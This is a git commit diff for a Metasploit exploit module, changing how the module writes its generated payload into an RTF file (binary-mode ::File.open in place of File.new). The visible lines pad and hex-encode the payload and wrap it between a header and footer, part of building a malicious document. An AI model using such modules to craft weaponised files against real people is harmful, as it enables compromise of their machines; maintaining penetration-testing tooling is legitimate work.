actually create new file ;-;
parent
39a4d193a1
commit
fcea6fd8d4
|
@ -134,10 +134,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
|
||||
payload = header + payload + footer
|
||||
|
||||
rtf = File.new(datastore['FILENAME'], 'w')
|
||||
rtf.write(payload)
|
||||
rtf.close
|
||||
rtf
|
||||
::File.open(datastore['FILENAME'], 'wb') do |fd|
|
||||
fd.write(payload)
|
||||
fd.close
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue